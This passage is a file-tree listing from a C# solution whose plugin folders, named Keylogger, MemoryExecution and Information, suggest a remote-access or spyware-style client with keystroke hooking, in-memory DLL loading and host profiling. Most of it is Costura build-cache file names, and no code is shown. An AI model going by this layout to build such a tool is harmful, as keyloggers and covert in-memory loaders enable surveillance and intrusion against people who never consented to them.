│ ├── Hardware.csproj.FileListAbsolute.txt │ │ │ ├── Hardware.csproj.Fody.CopyLocal.cache │ │ │ └── _IsIncrementalBuild │ │ └── packages.config │ ├── Information/ │ │ ├── ActivationKey.cs │ │ ├── ClientHandler.cs │ │ ├── DLLFromMemory.cs │ │ ├── FodyWeavers.xml │ │ ├── FodyWeavers.xsd │ │ ├── HardwareInformation.cs │ │ ├── Helpers.cs │ │ ├── Imports.cs │ │ ├── Information.csproj │ │ ├── Launch.cs │ │ ├── NetworkInformation.cs │ │ ├── Properties/ │ │ │ ├── AssemblyInfo.cs │ │ │ ├── Resources.Designer.cs │ │ │ └── Resources.resx │ │ ├── WMIHelpers.cs │ │ ├── obj/ │ │ │ ├── Debug/ │ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ │ ├── Costura/ │ │ │ │ │ ├── 214A03BEA1566B52C191D725EAC8DB68DE122BD5.costura.packetlib.dll.compressed │ │ │ │ │ ├── 24D04CCE98EDAD14DB53A24CF1E23BD07261ED24.costura.packetlib.dll.compressed │ │ │ │ │ ├── 2A9EED6AA4A02D3702F5948DD48893AC88628749.costura.packetlib.dll.compressed │ │ │ │ │ ├── 2D1F8E26FDD407E73DE1F32A4BDA1F650EB65465.costura.packetlib.dll.compressed │ │ │ │ │ ├── 4BF28C9A81692BE014FF2DB1C6D8FEA44F0991EB.costura.packetlib.dll.compressed │ │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ │ ├── 5D3F97ECFDC3EE21431DAF7C732805CE38DC780F.costura.packetlib.dll.compressed │ │ │ │ │ ├── 5FD5AD06C91006BEB0729DD8EA88B17860D6E9DA.costura.packetlib.dll.compressed │ │ │ │ │ ├── 61CCC5F58DF73C6D48A1A13B59C36D9986C7F761.costura.packetlib.dll.compressed │ │ │ │ │ ├── 659A17B2FBA1ECBB4E18DA56D2F707BD8FEFBB8B.costura.packetlib.dll.compressed │ │ │ │ │ ├── 6692AFDB128A2559F3843A04AD97838079B150DE.costura.packetlib.dll.compressed │ │ │ │ │ ├── 6C87836EFF9AA17F7FFF429733DBA7C07B0192C7.costura.wmilib.dll.compressed │ │ │ │ │ ├── 8152845FECAC7FFA594D9F405C7A2992D981D11C.costura.packetlib.dll.compressed │ │ │ │ │ ├── 8E3F7BAEAF15B538498688737FA97DFC3E0E2DC1.costura.packetlib.dll.compressed │ │ │ │ │ ├── 934C594F60A8E49B57CC2E58AF72F19901E5E636.costura.packetlib.dll.compressed │ │ │ │ │ ├── 9F152845EE7DC9D046F01AA20A0677B833060859.costura.packetlib.dll.compressed │ │ │ │ │ ├── B38554E9336EF9424FE94211318A6C4CE43968DE.costura.packetlib.dll.compressed │ │ │ │ │ ├── C1578452FEB313D903307662514B8C8F6977757F.costura.packetlib.dll.compressed │ │ │ │ │ ├── CE850281D1031BF55BBACE95BC5C291FB730740A.costura.packetlib.dll.compressed │ │ │ │ │ ├── D09B8EA53F24997F1CF152E96C64AF885C2806D2.costura.packetlib.dll.compressed │ │ │ │ │ ├── DAD483B4FE50223B906F2FA8C7A7D20C88BE787C.costura.packetlib.dll.compressed │ │ │ │ │ ├── EBCA534817A7FEDE883B1BF2E33759759BDBA079.costura.packetlib.dll.compressed │ │ │ │ │ ├── F321010A475134CC91CBD87B736F3A25F8095BF9.costura.packetlib.dll.compressed │ │ │ │ │ ├── FE316032188A3E3C83585CDD392EDA5212EB6805.costura.packetlib.dll.compressed │ │ │ │ │ └── FFEEF818C82EA672D54DDDAA51A8BE9FFCE1F951.costura.packetlib.dll.compressed │ │ │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ │ ├── Information.csproj.AssemblyReference.cache │ │ │ │ ├── Information.csproj.CoreCompileInputs.cache │ │ │ │ ├── Information.csproj.FileListAbsolute.txt │ │ │ │ ├── Information.csproj.Fody.CopyLocal.cache │ │ │ │ ├── Information.csproj.GenerateResource.cache │ │ │ │ ├── Plugin.Properties.Resources.resources │ │ │ │ └── build.force │ │ │ ├── Release/ │ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ │ ├── Costura/ │ │ │ │ │ ├── 0AA7F3AFE0966E1F6094B770ABF289F5217E9FF8.costura.packetlib.dll.compressed │ │ │ │ │ ├── 14C4061AE6CA4210159922AAA85DBC81B8776C07.costura.packetlib.dll.compressed │ │ │ │ │ ├── 16417969504A3A17E8DA082932E9D7838863656E.costura.packetlib.dll.compressed │ │ │ │ │ ├── 1CBA528F9EA3DAD590AA17E67C16725243C6CB9F.costura.packetlib.dll.compressed │ │ │ │ │ ├── 1D4342FF1EC701341CA2250FE7AFEE79015DEF6B.costura.packetlib.pdb.compressed │ │ │ │ │ ├── 1DDF3C8679D7B29DC3A95935CE32297FFF0914B6.costura.packetlib.dll.compressed │ │ │ │ │ ├── 1E5EACB2677A5423DA385F36E87B797CE29EBEDA.costura.packetlib.dll.compressed │ │ │ │ │ ├── 2C9EBAAB8B8E453F38C52380AAC6D3AC1557EE1B.costura.packetlib.dll.compressed │ │ │ │ │ ├── 2FF61148FC624FE5DE63038C5E85B1F4B6FF5DFF.costura.packetlib.dll.compressed │ │ │ │ │ ├── 30AEEA99FB63C3DA64D44867D00462BD0A84C636.costura.packetlib.dll.compressed │ │ │ │ │ ├── 314BF5C5FB0358F9A50ECFEB202E5B6DF119D6B6.costura.packetlib.dll.compressed │ │ │ │ │ ├── 3305A94C05235138A144E56CD5AE59089EBD3840.costura.packetlib.dll.compressed │ │ │ │ │ ├── 3384D4C0C38654C111F32DF6EAB006FE475D9C20.costura.packetlib.dll.compressed │ │ │ │ │ ├── 35200804392DE6B6A9E4D54700D0EEA4C9653F8D.costura.packetlib.dll.compressed │ │ │ │ │ ├── 3BC8A0310BD68277CE47256D31ED984446F56911.costura.packetlib.dll.compressed │ │ │ │ │ ├── 41C26C3C7B80F14AE827036DB0B5B085D8FE5B7F.costura.packetlib.dll.compressed │ │ │ │ │ ├── 47597460B6426910E781504261CCFEBEC82DC8DB.costura.packetlib.dll.compressed │ │ │ │ │ ├── 47D7450F0B49D243DB0F325D22556CDAD50FAB75.costura.packetlib.dll.compressed │ │ │ │ │ ├── 49956E8744B614CB41B95F1F26C662FB1D50DDAB.costura.packetlib.dll.compressed │ │ │ │ │ ├── 4AD5E8A4DACAB7C8E86B9617E5E8F2D5417CFEBF.costura.packetlib.dll.compressed │ │ │ │ │ ├── 4CF2FAFB61BB8CD6C320EBB83D1E822B94EB83B4.costura.packetlib.dll.compressed │ │ │ │ │ ├── 4E06B2CEA2B95369900E34214D68CA66E3F4DB4C.costura.packetlib.dll.compressed │ │ │ │ │ ├── 4E7D18F1265B4CB6C4B61AEC5F3FAEE69E929807.costura.packetlib.dll.compressed │ │ │ │ │ ├── 4E8F293B978F66BF492A656700E0B29E2D17F248.costura.packetlib.dll.compressed │ │ │ │ │ ├── 54C2E595DA2DBA0446DC7F7CE8716C0DF5B0ACD5.costura.informationparser.dll.compressed │ │ │ │ │ ├── 5847E4193B3BFBDB884A32190B164DE781103BA0.costura.packetlib.dll.compressed │ │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ │ ├── 5BCB52D679AAC59A6FB1B2531CC61E3A957A647E.costura.packetlib.dll.compressed │ │ │ │ │ ├── 5E31D7757C6498F61407EFE3D3C45422912B93DA.costura.informationparser.pdb.compressed │ │ │ │ │ ├── 634ED8248658FB07B6B51C27324A50190CCBF7D4.costura.packetlib.dll.compressed │ │ │ │ │ ├── 63ABD2940F702C7C110DE20BF085F75B6FD06ED3.costura.packetlib.dll.compressed │ │ │ │ │ ├── 65200B04A09E42EDD475B82FF0196295790E2535.costura.packetlib.dll.compressed │ │ │ │ │ ├── 68040B9F931B940A89A0A53D3FCBE981F3ADB3F9.costura.packetlib.dll.compressed │ │ │ │ │ ├── 68A53BB2C3DE0A6CB7A05D932CF03BD6D268C59B.costura.packetlib.dll.compressed │ │ │ │ │ ├── 6C87836EFF9AA17F7FFF429733DBA7C07B0192C7.costura.wmilib.dll.compressed │ │ │ │ │ ├── 6CACFD214D3716303037CF6C1D2FF759426564BB.costura.packetlib.dll.compressed │ │ │ │ │ ├── 6CDAEB04809CD73781CF2650177066FD6905272B.costura.packetlib.dll.compressed │ │ │ │ │ ├── 6DC36E3C70F97D59CBEF86E790C4E5EA1AB5DBF2.costura.packetlib.pdb.compressed │ │ │ │ │ ├── 70903F9C1D8303F2727443CB36D37555E3AAFD02.costura.packetlib.dll.compressed │ │ │ │ │ ├── 7160D2BAF3AFCB4E0CF73AC783EB7C2CB243A338.costura.packetlib.dll.compressed │ │ │ │ │ ├── 71DC8C19FD4642091C70380F204F4632EC7727BD.costura.packetlib.dll.compressed │ │ │ │ │ ├── 755B7A00ED6A45E8DD0A8A88BF38B13A046E795B.costura.packetlib.dll.compressed │ │ │ │ │ ├── 75E3E6B11180434960C81C107C97DB89C76F544B.costura.packetlib.dll.compressed │ │ │ │ │ ├── 760010A414FF1097F9D548BE7A656078FD56B919.costura.packetlib.dll.compressed │ │ │ │ │ ├── 77691DB719174A5C8151EBD9C9E06086519DA9FD.costura.packetlib.dll.compressed │ │ │ │ │ ├── 7ADAF347C05668866C88D97F33A8B5694EC9EE3F.costura.packetlib.dll.compressed │ │ │ │ │ ├── 7ADDFDF8A77D5D7E698B48A8F440A4201F9E9951.costura.packetlib.dll.compressed │ │ │ │ │ ├── 7C8BB9EC144822A871AB0EBCB45DB4F853964408.costura.packetlib.dll.compressed │ │ │ │ │ ├── 7D0AD03FBDA1C24F883116B940717E596073AE96.costura.newtonsoft.json.dll.compressed │ │ │ │ │ ├── 81E29DCA5CAB8A4E873638419525826E65465753.costura.packetlib.dll.compressed │ │ │ │ │ ├── 84852CC1728B2DDBE3C868B0BD35438579CF4825.costura.packetlib.dll.compressed │ │ │ │ │ ├── 8896B0DFB6EB9D188DF147C0E7F4A1DF080500FE.costura.packetlib.dll.compressed │ │ │ │ │ ├── 96685BD6896DD6A7306053E3A5B8ED351BD6628A.costura.packetlib.dll.compressed │ │ │ │ │ ├── 975529C921427F3EAA82CA4E2304C00539B7535C.costura.packetlib.dll.compressed │ │ │ │ │ ├── 993A4CE56D86DF9E2DFA8C474D6DF2D01F4C19F0.costura.packetlib.dll.compressed │ │ │ │ │ ├── 994CD3A7CE9FC4551D255B685F9E7E400886FAE6.costura.packetlib.dll.compressed │ │ │ │ │ ├── 9970470D8A0DB289839E76A59E796CB956F5577C.costura.packetlib.dll.compressed │ │ │ │ │ ├── 9B30F44C8DEFFDD6ECB3921C55761AFF64F58F16.costura.packetlib.dll.compressed │ │ │ │ │ ├── 9C440ED15A7EED86217802A3897AD3C18F14768B.costura.packetlib.dll.compressed │ │ │ │ │ ├── A0CA3E3941DB4ED03A4C602086B8A4C02B64BDED.costura.packetlib.dll.compressed │ │ │ │ │ ├── AF053B2354CBB0C61EBE29BD3E10B510A921FFA3.costura.packetlib.dll.compressed │ │ │ │ │ ├── B4CA589FA12A73A09709F3723DCC71FBB5CB6D89.costura.packetlib.dll.compressed │ │ │ │ │ ├── B53FB3389EC8F1D8A810DEFBDC207E2B9B5E45C4.costura.packetlib.dll.compressed │ │ │ │ │ ├── B7BBAD2981AD2C189A335B39B5715C0F34626A58.costura.packetlib.dll.compressed │ │ │ │ │ ├── B8EFD272172F7F2AFDD629B038C63D103440215A.costura.packetlib.pdb.compressed │ │ │ │ │ ├── BE95393C5D1B9F4F5C66BBC229DFCCFB4B40C559.costura.packetlib.dll.compressed │ │ │ │ │ ├── C13DAAAD2065B1B8CB2C7903E68DD997CF626B1C.costura.packetlib.dll.compressed │ │ │ │ │ ├── C36157EC85B304546635D059C6D4C2AEE58EB0F3.costura.packetlib.dll.compressed │ │ │ │ │ ├── C36F7AAEC555192EA97BB91F55F440283BFD1BEE.costura.packetlib.dll.compressed │ │ │ │ │ ├── C5D90F561F0F519C23B3EF77D9F468F66C873656.costura.packetlib.dll.compressed │ │ │ │ │ ├── C95085E69B954DD9B592168BDC7340DCB7A11947.costura.packetlib.dll.compressed │ │ │ │ │ ├── CB65EFA9EA7F2EB857B82C8A98D525E4083FDF6E.costura.packetlib.dll.compressed │ │ │ │ │ ├── CE559977242C685083539822F8224713C6C20E2E.costura.packetlib.dll.compressed │ │ │ │ │ ├── D6288F7563FDDAB14535364ECC07DDBCE31924CF.costura.packetlib.dll.compressed │ │ │ │ │ ├── D742868B84C619BAE5061AE10B57971D31C82012.costura.packetlib.dll.compressed │ │ │ │ │ ├── D7458D601F48DB140D86047965F50E88D1FE0D88.costura.packetlib.dll.compressed │ │ │ │ │ ├── D9DEE153D62D7545962652C8D4CBDCC4F11BC5A9.costura.packetlib.dll.compressed │ │ │ │ │ ├── DD58083AFA57CB85A786C3AEA6F34F109A2670E8.costura.packetlib.dll.compressed │ │ │ │ │ ├── E1337E3314270D285BB8AC03573F255AB4711762.costura.packetlib.dll.compressed │ │ │ │ │ ├── E56D1FBB42EB71690EF56410864EE11E20BDDFB2.costura.packetlib.dll.compressed │ │ │ │ │ ├── E6F505FBD11B2CAD0EB77BF1AB7BA2666579F1AE.costura.packetlib.dll.compressed │ │ │ │ │ ├── E768ABA27CA52B596749530B8C4EB0AC0B5390EE.costura.packetlib.dll.compressed │ │ │ │ │ ├── EA874E0790F5E251DDE65CFFA1C2EEAD5AD53604.costura.packetlib.dll.compressed │ │ │ │ │ ├── EE8387D278313586ED7B14FF0F2FC4CE829C0764.costura.packetlib.dll.compressed │ │ │ │ │ ├── EEA20B4ABC08CB6BB43873B36181587FB9599752.costura.packetlib.dll.compressed │ │ │ │ │ ├── EF77E06729EA1AA5C7DEF4429079F5B7EBBD9F19.costura.packetlib.dll.compressed │ │ │ │ │ ├── F154257EBE8F21A4312317DAED5C191BEFB17794.costura.packetlib.dll.compressed │ │ │ │ │ └── F67C792CFF6A0F2408BC025AD9C394DA2D12BEEA.costura.packetlib.dll.compressed │ │ │ │ ├── DesignTimeResolveAssemblyReferences.cache │ │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ │ ├── Information.csproj.AssemblyReference.cache │ │ │ │ ├── Information.csproj.CoreCompileInputs.cache │ │ │ │ ├── Information.csproj.FileListAbsolute.txt │ │ │ │ ├── Information.csproj.Fody.CopyLocal.cache │ │ │ │ ├── Information.csproj.GenerateResource.cache │ │ │ │ ├── Plugin.Properties.Resources.resources │ │ │ │ └── _IsIncrementalBuild │ │ │ └── x64/ │ │ │ └── Release/ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ ├── Costura/ │ │ │ │ ├── 4AD5E8A4DACAB7C8E86B9617E5E8F2D5417CFEBF.costura.packetlib.dll.compressed │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ └── 6C87836EFF9AA17F7FFF429733DBA7C07B0192C7.costura.wmilib.dll.compressed │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── Information.csproj.AssemblyReference.cache │ │ │ ├── Information.csproj.CoreCompileInputs.cache │ │ │ ├── Information.csproj.FileListAbsolute.txt │ │ │ ├── Information.csproj.Fody.CopyLocal.cache │ │ │ ├── Information.csproj.GenerateResource.cache │ │ │ └── Plugin.Properties.Resources.resources │ │ └── packages.config │ ├── Keylogger/ │ │ ├── ClientHandler.cs │ │ ├── FodyWeavers.xml │ │ ├── FodyWeavers.xsd │ │ ├── Hook.cs │ │ ├── Imports.cs │ │ ├── Keylogger.csproj │ │ ├── Launch.cs │ │ ├── Properties/ │ │ │ └── AssemblyInfo.cs │ │ ├── obj/ │ │ │ ├── Debug/ │ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ │ ├── Costura/ │ │ │ │ │ ├── 093B1CECD25C84D83FA542739A470E5176C0ECC3.costura.packetlib.dll.compressed │ │ │ │ │ ├── 169D9715E5055B4695017FABC70BDC67BA96C3EB.costura.packetlib.dll.compressed │ │ │ │ │ ├── 1B6A595A5483B79FE77D5C94EA6629C8D6F9BC3F.costura.packetlib.dll.compressed │ │ │ │ │ ├── 1D27C8364B81D446EB8E88B116B7A0C09D01681C.costura.packetlib.dll.compressed │ │ │ │ │ ├── 214A03BEA1566B52C191D725EAC8DB68DE122BD5.costura.packetlib.dll.compressed │ │ │ │ │ ├── 2303F5C6C93C9247613149D8B6D0AD05EEAE6C51.costura.packetlib.dll.compressed │ │ │ │ │ ├── 24D04CCE98EDAD14DB53A24CF1E23BD07261ED24.costura.packetlib.dll.compressed │ │ │ │ │ ├── 2A9EED6AA4A02D3702F5948DD48893AC88628749.costura.packetlib.dll.compressed │ │ │ │ │ ├── 2D1F8E26FDD407E73DE1F32A4BDA1F650EB65465.costura.packetlib.dll.compressed │ │ │ │ │ ├── 35DA33868357D20B7950F93585CCE057BEBFED71.costura.packetlib.dll.compressed │ │ │ │ │ ├── 416C3345FE25EC2ED1C5DDEF18057A83D72BD3CD.costura.packetlib.dll.compressed │ │ │ │ │ ├── 4BE517A006839CFA1DEC9930EAA5B319D92819D3.costura.packetlib.dll.compressed │ │ │ │ │ ├── 4BF28C9A81692BE014FF2DB1C6D8FEA44F0991EB.costura.packetlib.dll.compressed │ │ │ │ │ ├── 5252EBA4B6398A776C1EA9828EDB579170ACB663.costura.packetlib.dll.compressed │ │ │ │ │ ├── 58B7790B7A9E3AE1AADCF722F6A715F81C058BFD.costura.packetlib.dll.compressed │ │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ │ ├── 59DF63E02F616DC1B2A325E7715A2F4CEFE9A170.costura.packetlib.dll.compressed │ │ │ │ │ ├── 5D3F97ECFDC3EE21431DAF7C732805CE38DC780F.costura.packetlib.dll.compressed │ │ │ │ │ ├── 5FD46A212CD462EE7577AD3B8A7AB9F481D0CE7E.costura.packetlib.dll.compressed │ │ │ │ │ ├── 5FD5AD06C91006BEB0729DD8EA88B17860D6E9DA.costura.packetlib.dll.compressed │ │ │ │ │ ├── 61CCC5F58DF73C6D48A1A13B59C36D9986C7F761.costura.packetlib.dll.compressed │ │ │ │ │ ├── 63EF65944CB0DF6531CECC82F495A6E13F910A7A.costura.packetlib.dll.compressed │ │ │ │ │ ├── 659A17B2FBA1ECBB4E18DA56D2F707BD8FEFBB8B.costura.packetlib.dll.compressed │ │ │ │ │ ├── 6692AFDB128A2559F3843A04AD97838079B150DE.costura.packetlib.dll.compressed │ │ │ │ │ ├── 6CE4FB41D327CB76FA40B68828CE5A6459CF9248.costura.packetlib.dll.compressed │ │ │ │ │ ├── 72DCABA51E82CF694893ECFA26A73DAF0068BD5C.costura.packetlib.dll.compressed │ │ │ │ │ ├── 73BFBED37D0D2C234376DC312786EB72E6D2673D.costura.packetlib.dll.compressed │ │ │ │ │ ├── 7EBD6DF9C00B35FB7A99F38EE7E2BCC73CED833D.costura.packetlib.dll.compressed │ │ │ │ │ ├── 8152845FECAC7FFA594D9F405C7A2992D981D11C.costura.packetlib.dll.compressed │ │ │ │ │ ├── 8387A8F76010F0A3E3823261A8EF2B3B47D3DCA4.costura.packetlib.dll.compressed │ │ │ │ │ ├── 894362D086B3A52F3B4495D8A886E18058867328.costura.packetlib.dll.compressed │ │ │ │ │ ├── 89CA7B756CF6BCD416A9DE6FE172B44C30F5FA83.costura.packetlib.dll.compressed │ │ │ │ │ ├── 8E3F7BAEAF15B538498688737FA97DFC3E0E2DC1.costura.packetlib.dll.compressed │ │ │ │ │ ├── 934C594F60A8E49B57CC2E58AF72F19901E5E636.costura.packetlib.dll.compressed │ │ │ │ │ ├── 9F152845EE7DC9D046F01AA20A0677B833060859.costura.packetlib.dll.compressed │ │ │ │ │ ├── A075387C52A0ACA3687B27A9C83EC31B299A23F0.costura.packetlib.dll.compressed │ │ │ │ │ ├── A5E325D30DF28A8EB3305AFBD760DB72AA6B2A19.costura.packetlib.dll.compressed │ │ │ │ │ ├── A8161DF85C64179973A14391011607232CF35A08.costura.packetlib.dll.compressed │ │ │ │ │ ├── AE425AFFD1FD4DB21A47795FFE10C26A949EF6C5.costura.packetlib.dll.compressed │ │ │ │ │ ├── B3844B220EB90DAA22FF9E69DCBCEC0B514B625C.costura.packetlib.dll.compressed │ │ │ │ │ ├── B38554E9336EF9424FE94211318A6C4CE43968DE.costura.packetlib.dll.compressed │ │ │ │ │ ├── C1578452FEB313D903307662514B8C8F6977757F.costura.packetlib.dll.compressed │ │ │ │ │ ├── C6CF66B9D69806693131C83107A1CBE592FCCABF.costura.packetlib.dll.compressed │ │ │ │ │ ├── C7E730CA59E83FFE5879963E3885F946223C16DE.costura.packetlib.dll.compressed │ │ │ │ │ ├── CE850281D1031BF55BBACE95BC5C291FB730740A.costura.packetlib.dll.compressed │ │ │ │ │ ├── D09B8EA53F24997F1CF152E96C64AF885C2806D2.costura.packetlib.dll.compressed │ │ │ │ │ ├── DAD483B4FE50223B906F2FA8C7A7D20C88BE787C.costura.packetlib.dll.compressed │ │ │ │ │ ├── DCF03F184CFC24621503199BA48A3C5F93D1048B.costura.packetlib.dll.compressed │ │ │ │ │ ├── DF2EF5F848FC106B8C6A5641B29D1771A3B6BCCB.costura.packetlib.dll.compressed │ │ │ │ │ ├── E23690713F21D4E3D0EDAE8A9D30B6D81A24B427.costura.packetlib.dll.compressed │ │ │ │ │ ├── E8108A0FEBB8E80CDE1C8DC3906561FEB070B0D0.costura.packetlib.dll.compressed │ │ │ │ │ ├── EBCA534817A7FEDE883B1BF2E33759759BDBA079.costura.packetlib.dll.compressed │ │ │ │ │ ├── F321010A475134CC91CBD87B736F3A25F8095BF9.costura.packetlib.dll.compressed │ │ │ │ │ ├── F8EC64B2D9B366E1918BA7CDDA67169F986C8B12.costura.packetlib.dll.compressed │ │ │ │ │ ├── F9A276F9E964E77DBB18509EA3FE0D38BCB38AFF.costura.packetlib.dll.compressed │ │ │ │ │ ├── FAA207544D6166658F1ED74A439DDF6A2E2F477D.costura.packetlib.dll.compressed │ │ │ │ │ ├── FE316032188A3E3C83585CDD392EDA5212EB6805.costura.packetlib.dll.compressed │ │ │ │ │ └── FFEEF818C82EA672D54DDDAA51A8BE9FFCE1F951.costura.packetlib.dll.compressed │ │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ │ ├── Keylogger.csproj.AssemblyReference.cache │ │ │ │ ├── Keylogger.csproj.CoreCompileInputs.cache │ │ │ │ ├── Keylogger.csproj.FileListAbsolute.txt │ │ │ │ ├── Keylogger.csproj.Fody.CopyLocal.cache │ │ │ │ └── build.force │ │ │ └── Release/ │ │ │ ├── .NETFramework,Version=v4.5.AssemblyAttributes.cs │ │ │ ├── Costura/ │ │ │ │ ├── 14C4061AE6CA4210159922AAA85DBC81B8776C07.costura.packetlib.dll.compressed │ │ │ │ ├── 16417969504A3A17E8DA082932E9D7838863656E.costura.packetlib.dll.compressed │ │ │ │ ├── 1CBA528F9EA3DAD590AA17E67C16725243C6CB9F.costura.packetlib.dll.compressed │ │ │ │ ├── 1D4342FF1EC701341CA2250FE7AFEE79015DEF6B.costura.packetlib.pdb.compressed │ │ │ │ ├── 1DDF3C8679D7B29DC3A95935CE32297FFF0914B6.costura.packetlib.dll.compressed │ │ │ │ ├── 2C9EBAAB8B8E453F38C52380AAC6D3AC1557EE1B.costura.packetlib.dll.compressed │ │ │ │ ├── 314BF5C5FB0358F9A50ECFEB202E5B6DF119D6B6.costura.packetlib.dll.compressed │ │ │ │ ├── 3305A94C05235138A144E56CD5AE59089EBD3840.costura.packetlib.dll.compressed │ │ │ │ ├── 3384D4C0C38654C111F32DF6EAB006FE475D9C20.costura.packetlib.dll.compressed │ │ │ │ ├── 35200804392DE6B6A9E4D54700D0EEA4C9653F8D.costura.packetlib.dll.compressed │ │ │ │ ├── 41C26C3C7B80F14AE827036DB0B5B085D8FE5B7F.costura.packetlib.dll.compressed │ │ │ │ ├── 47D7450F0B49D243DB0F325D22556CDAD50FAB75.costura.packetlib.dll.compressed │ │ │ │ ├── 4AD5E8A4DACAB7C8E86B9617E5E8F2D5417CFEBF.costura.packetlib.dll.compressed │ │ │ │ ├── 4CF2FAFB61BB8CD6C320EBB83D1E822B94EB83B4.costura.packetlib.dll.compressed │ │ │ │ ├── 4E7D18F1265B4CB6C4B61AEC5F3FAEE69E929807.costura.packetlib.dll.compressed │ │ │ │ ├── 4E8F293B978F66BF492A656700E0B29E2D17F248.costura.packetlib.dll.compressed │ │ │ │ ├── 54C2E595DA2DBA0446DC7F7CE8716C0DF5B0ACD5.costura.informationparser.dll.compressed │ │ │ │ ├── 5847E4193B3BFBDB884A32190B164DE781103BA0.costura.packetlib.dll.compressed │ │ │ │ ├── 5954E332EC7732BA34C27E2D88D154D1919C1B07.costura.costura.dll.compressed │ │ │ │ ├── 5BCB52D679AAC59A6FB1B2531CC61E3A957A647E.costura.packetlib.dll.compressed │ │ │ │ ├── 5E31D7757C6498F61407EFE3D3C45422912B93DA.costura.informationparser.pdb.compressed │ │ │ │ ├── 634ED8248658FB07B6B51C27324A50190CCBF7D4.costura.packetlib.dll.compressed │ │ │ │ ├── 63ABD2940F702C7C110DE20BF085F75B6FD06ED3.costura.packetlib.dll.compressed │ │ │ │ ├── 68040B9F931B940A89A0A53D3FCBE981F3ADB3F9.costura.packetlib.dll.compressed │ │ │ │ ├── 6CDAEB04809CD73781CF2650177066FD6905272B.costura.packetlib.dll.compressed │ │ │ │ ├── 6DC36E3C70F97D59CBEF86E790C4E5EA1AB5DBF2.costura.packetlib.pdb.compressed │ │ │ │ ├── 70903F9C1D8303F2727443CB36D37555E3AAFD02.costura.packetlib.dll.compressed │ │ │ │ ├── 71DC8C19FD4642091C70380F204F4632EC7727BD.costura.packetlib.dll.compressed │ │ │ │ ├── 755B7A00ED6A45E8DD0A8A88BF38B13A046E795B.costura.packetlib.dll.compressed │ │ │ │ ├── 75E3E6B11180434960C81C107C97DB89C76F544B.costura.packetlib.dll.compressed │ │ │ │ ├── 7ADAF347C05668866C88D97F33A8B5694EC9EE3F.costura.packetlib.dll.compressed │ │ │ │ ├── 7ADDFDF8A77D5D7E698B48A8F440A4201F9E9951.costura.packetlib.dll.compressed │ │ │ │ ├── 7D42CDFC44758C5D8721E71785221053C8796D44.costura.packetlib.pdb.compressed │ │ │ │ ├── 81E29DCA5CAB8A4E873638419525826E65465753.costura.packetlib.dll.compressed │ │ │ │ ├── 8896B0DFB6EB9D188DF147C0E7F4A1DF080500FE.costura.packetlib.dll.compressed │ │ │ │ ├── 975529C921427F3EAA82CA4E2304C00539B7535C.costura.packetlib.dll.compressed │ │ │ │ ├── 994CD3A7CE9FC4551D255B685F9E7E400886FAE6.costura.packetlib.dll.compressed │ │ │ │ ├── 9970470D8A0DB289839E76A59E796CB956F5577C.costura.packetlib.dll.compressed │ │ │ │ ├── 9B30F44C8DEFFDD6ECB3921C55761AFF64F58F16.costura.packetlib.dll.compressed │ │ │ │ ├── 9C440ED15A7EED86217802A3897AD3C18F14768B.costura.packetlib.dll.compressed │ │ │ │ ├── A0CA3E3941DB4ED03A4C602086B8A4C02B64BDED.costura.packetlib.dll.compressed │ │ │ │ ├── B53FB3389EC8F1D8A810DEFBDC207E2B9B5E45C4.costura.packetlib.dll.compressed │ │ │ │ ├── B8EFD272172F7F2AFDD629B038C63D103440215A.costura.packetlib.pdb.compressed │ │ │ │ ├── BCCEE1AC6832C9F4B6B442C2E6A79AF0B45AF160.costura.packetlib.dll.compressed │ │ │ │ ├── C13DAAAD2065B1B8CB2C7903E68DD997CF626B1C.costura.packetlib.dll.compressed │ │ │ │ ├── C36157EC85B304546635D059C6D4C2AEE58EB0F3.costura.packetlib.dll.compressed │ │ │ │ ├── C95085E69B954DD9B592168BDC7340DCB7A11947.costura.packetlib.dll.compressed │ │ │ │ ├── CE559977242C685083539822F8224713C6C20E2E.costura.packetlib.dll.compressed │ │ │ │ ├── D6288F7563FDDAB14535364ECC07DDBCE31924CF.costura.packetlib.dll.compressed │ │ │ │ ├── D742868B84C619BAE5061AE10B57971D31C82012.costura.packetlib.dll.compressed │ │ │ │ ├── D7458D601F48DB140D86047965F50E88D1FE0D88.costura.packetlib.dll.compressed │ │ │ │ ├── E56D1FBB42EB71690EF56410864EE11E20BDDFB2.costura.packetlib.dll.compressed │ │ │ │ ├── EA874E0790F5E251DDE65CFFA1C2EEAD5AD53604.costura.packetlib.dll.compressed │ │ │ │ ├── EE8387D278313586ED7B14FF0F2FC4CE829C0764.costura.packetlib.dll.compressed │ │ │ │ ├── EEA20B4ABC08CB6BB43873B36181587FB9599752.costura.packetlib.dll.compressed │ │ │ │ ├── EF77E06729EA1AA5C7DEF4429079F5B7EBBD9F19.costura.packetlib.dll.compressed │ │ │ │ ├── F154257EBE8F21A4312317DAED5C191BEFB17794.costura.packetlib.dll.compressed │ │ │ │ └── F67C792CFF6A0F2408BC025AD9C394DA2D12BEEA.costura.packetlib.dll.compressed │ │ │ ├── DesignTimeResolveAssemblyReferencesInput.cache │ │ │ ├── Keylogger.csproj.AssemblyReference.cache │ │ │ ├── Keylogger.csproj.CoreCompileInputs.cache │ │ │ ├── Keylogger.csproj.FileListAbsolute.txt │ │ │ ├── Keylogger.csproj.Fody.CopyLocal.cache │ │ │ └── _IsIncrementalBuild │ │ └── packages.config │ ├── MemoryExecution/ │ │ ├── DLLFromMemory.cs │ │ ├── DotNetCode.cs │ │ ├── FodyWeavers.xml │ │ ├── FodyWeavers.xsd │ │ ├── Launch.cs │ │ ├── ManagedDll.cs │ │ ├── ManagedExe.cs │ │ ├── 